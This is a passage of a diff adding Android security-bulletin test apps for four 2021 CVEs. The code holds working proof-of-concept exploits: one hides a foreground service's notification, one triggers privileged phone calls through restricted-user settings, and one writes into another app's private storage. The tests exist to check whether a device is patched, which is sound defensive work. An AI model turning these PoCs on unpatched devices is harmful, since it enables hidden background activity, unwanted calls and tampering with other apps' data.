+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Activity;
+import android.Manifest;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+//PocActitvity is required because requestPermissions needs to implemented to request location permission.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ if (this.checkCallingOrSelfPermission(
+ Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ startForegroundService(new Intent(this, PocService.class));
+ this.requestPermissions(
+ new String[] {
+ Manifest.permission.ACCESS_COARSE_LOCATION },0);
+ }
+ } catch (Exception e) {
+ setExceptionStatus(e.toString(),
+ getResources().getInteger(R.integer.assumptionFailure));
+ }
+ }
+
+ private void setExceptionStatus(String message, int status) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), status);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
new file mode 100644
index 0000000..23303c3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+//PocService is needed to build the notification when the service starts.
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ exploitBug();
+ super.onCreate();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void exploitBug() {
+ try {
+ final NotificationManager notificationManager = getSystemService(
+ NotificationManager.class);
+ final String id = getString(R.string.channel);
+ final String groupId = getString(R.string.groupId);
+ notificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(groupId,
+ getString(R.string.group)));
+ NotificationChannel notificationChannel = new NotificationChannel(
+ id, id, NotificationManager.IMPORTANCE_HIGH);
+ notificationChannel.setGroup(groupId);
+ notificationManager.createNotificationChannel(notificationChannel);
+ Notification notification = new Notification.Builder(this, id)
+ .setSmallIcon(createNotificationIcon()).build();
+ startForeground(1, notification);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ notificationManager.deleteNotificationChannelGroup(groupId);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ } catch (SecurityException e) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getString(R.string.passMessage));
+ }
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+
+ Icon createNotificationIcon() {
+ Resources resources = getResources();
+ Bitmap testBitmap = Bitmap.createBitmap(
+ resources.getInteger(R.integer.width),
+ resources.getInteger(R.integer.height),
+ Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
new file mode 100644
index 0000000..517619a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39707",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 0000000..bfb3943
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39707">
+ <application android:label="@string/testAppLabel">
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.CALL_PRIVILEGED" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 0000000..902f48c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="defaultSettingsPkgName">com.android.settings</string>
+ <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+ <string name="testAppLabel">CVE-2021-39707</string>
+ <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+ <string name="textAppContentAccess">App & content access</string>
+ <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+ <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 0000000..db3acb0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ /* Start the "User Settings" window */
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ Context context = getApplicationContext();
+ context.startActivity(intent);
+ String settingsPkgName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ settingsPkgName =
+ (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+ : settingsPkgName;
+
+ /*
+ * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added
+ * before
+ */
+ final int uiTimeoutMs = 5000;
+ String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+ BySelector selector = By.text(textRestrictedUser);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /* Click on the text "App & content access" */
+ String textAppContentAccess = context.getString(R.string.textAppContentAccess);
+ selector = By.text(textAppContentAccess);
+ assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /*
+ * Click on the icon with resource name
+ * "com.android.settings:id/app_restrictions_settings" next to the test app
+ * "CVE-2021-39707"
+ */
+ UiScrollable scrollable = new UiScrollable(new UiSelector());
+ String textTestApp = context.getString(R.string.testAppLabel);
+ scrollable.scrollTextIntoView(textTestApp);
+ selector = By.text(textTestApp);
+ assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+ * which indicates vulnerable behaviour
+ */
+ TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+ selector = By.pkg(telecomManager.getSystemDialerPackage());
+ assertFalse(context.getString(R.string.testFailMsg),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
new file mode 100644
index 0000000..92645c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.app.Activity;
+
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 0000000..6d4caae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ } catch (Exception e) {
+ // ignore all exceptions, in the worst case, any exception caught here indicates that
+ // setting extra intent was unsuccessful, so test will pass in the worst case.
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
new file mode 100644
index 0000000..ade2215
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39795",
+ defaults: [
+ "cts_support_defaults"
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.core",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
new file mode 100644
index 0000000..cb42aed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39795">
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39795" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
new file mode 100644
index 0000000..19ea461
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="filePath">Android/data/CVE-2021-39795-dir/</string>
+ <string name="fileContent">Bypassed by MediaProvider</string>
+ <string name="fileName">CVE-2021-39795-file</string>
+ <string name="external">external</string>
+ <string name="secondFixFailure">Second Fix Patch not applied.
+ Please Apply second Fix Patch!!</string>
+ <string name="fileUtilPkg">com.android.providers.media.util.FileUtils</string>
+ <string name="isDataOrObbPathMethod">isDataOrObbPath</string>
+ <string name="mediaProviderPkg">com.android.providers.media.module</string>
+ <string name="sampleFilePath">/storage/emulated/0/Android/data/foo</string>
+ <string name="failure">Device vulnerable to b/201667614! Any app with
+ MANAGE_EXTERNAL_STORAGE permission can write into other apps private
+ external directory.</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
new file mode 100644
index 0000000..8d3ff0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39795;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.res.Resources;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testFilePresence() {
+ boolean isSecondPatchAbsent = false;
+ Resources resources = null;
+ OutputStream outputStream = null;
+ try {
+ // Accessing FileUtils.isDataOrObbPath() to detect the presence of second patch of fix.
+ Context context = getApplicationContext();
+ resources = context.getResources();
+ Context mediaProviderContext =
+ context.createPackageContext(resources.getString(R.string.mediaProviderPkg),
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader fileUtilsClassLoader = mediaProviderContext.getClassLoader();
+ Class<?> FileUtilsClass =
+ fileUtilsClassLoader.loadClass(resources.getString(R.string.fileUtilPkg));
+ Method isDataOrObbPathMethod = FileUtilsClass.getDeclaredMethod(
+ resources.getString(R.string.isDataOrObbPathMethod), String.class);
+ isDataOrObbPathMethod.setAccessible(true);
+ isSecondPatchAbsent = (boolean) isDataOrObbPathMethod.invoke(this,
+ resources.getString(R.string.sampleFilePath));
+
+ // Checking write into external directory.
+ ContentValues values = new ContentValues();
+ ContentResolver contentResolver = context.getContentResolver();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ resources.getString(R.string.filePath));
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME,
+ resources.getString(R.string.fileName));
+ outputStream = contentResolver.openOutputStream(contentResolver.insert(
+ MediaStore.Files.getContentUri(resources.getString(R.string.external)),
+ values));
+ outputStream.write(resources.getString(R.string.fileContent).getBytes());
+
+ /*
+ * If control flow has reached till this point it means no exception anywhere and fix is
+ * not present and it is vulnerable to the bug.
+ */
+ fail(resources.getString(R.string.failure));
+ } catch (IllegalArgumentException e) {
+ // First fix patch is applied, ignore this exception.
+ if (isSecondPatchAbsent) {
+ // Fail the test as Latest Fix Patch is not applied
+ fail(resources.getString(R.string.secondFixFailure));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ outputStream.close();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
new file mode 100644
index 0000000..13a86e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39808",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
new file mode 100644
index 0000000..0394d6c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39808">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <application>
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39808" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
new file mode 100644
index 0000000..8e7d104
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="assumptionFailure">4</integer>
+ <integer name="fail">2</integer>
+ <integer name="falseVal">-1</integer>
+ <integer name="height">50</integer>
+ <integer name="pass">3</integer>
+ <integer name="setFlag">1</integer>
+ <integer name="timeoutMs">10000</integer>
+ <integer name="value">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
new file mode 100644
index 0000000..f4fb741
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="assumptionFailure">Assumption failure occurred</string>
+ <string name="errorNoMethodFound">No method found</string>
+ <string name="errorTargetMethodNotFound">Target method not found</string>
+ <string name="flag">flag</string>
+ <string name="functionName">createNotificationChannelGroups</string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="illegalCode">Illegal Code</string>
+ <string name="messageKey">MESSAGE</string>
+ <string name="resultKey">RESULT</string>
+ <string name="message">message</string>
+ <string name="notification">notification</string>
+ <string name="passMessage">Passed</string>
+ <string name="sharedPreference">CVE_2021_39808</string>
+ <string name="vulnerableMessage">
+ Vulnerable to b/209966086!! Foreground service ran without user notification
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
new file mode 100644
index 0000000..a32638d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
